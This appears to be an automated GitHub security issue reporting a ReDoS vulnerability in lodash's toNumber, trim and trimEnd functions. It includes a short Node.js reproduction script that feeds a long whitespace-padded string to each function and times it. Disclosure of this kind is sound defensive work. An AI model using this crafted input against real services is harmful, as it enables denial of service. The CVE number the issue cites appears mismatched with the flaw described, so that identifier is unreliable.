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A new vulnerability was discovered: CVE-2018-16487 #5

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debricked bot opened this issue Feb 25, 2020 · 0 comments
Open

A new vulnerability was discovered: CVE-2018-16487 #5

debricked bot opened this issue Feb 25, 2020 · 0 comments

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debricked bot commented Feb 25, 2020

All versions of package lodash; all versions of package org.fujion.webjars:lodash are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions. Steps to reproduce (provided by reporter Liyuan Chen): var lo = require('lodash'); function build_blank (n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = build_blank(50000) var time0 = Date.now(); lo.trim(s) var time_cost0 = Date.now() - time0; console.log("time_cost0: " + time_cost0) var time1 = Date.now(); lo.toNumber(s) var time_cost1 = Date.now() - time1; console.log("time_cost1: " + time_cost1) var time2 = Date.now(); lo.trimEnd(s) var time_cost2 = Date.now() - time2; console.log("time_cost2: " + time_cost2)

Read more at Debricked: https://app.debricked.com/en/service/vulnerability/210288

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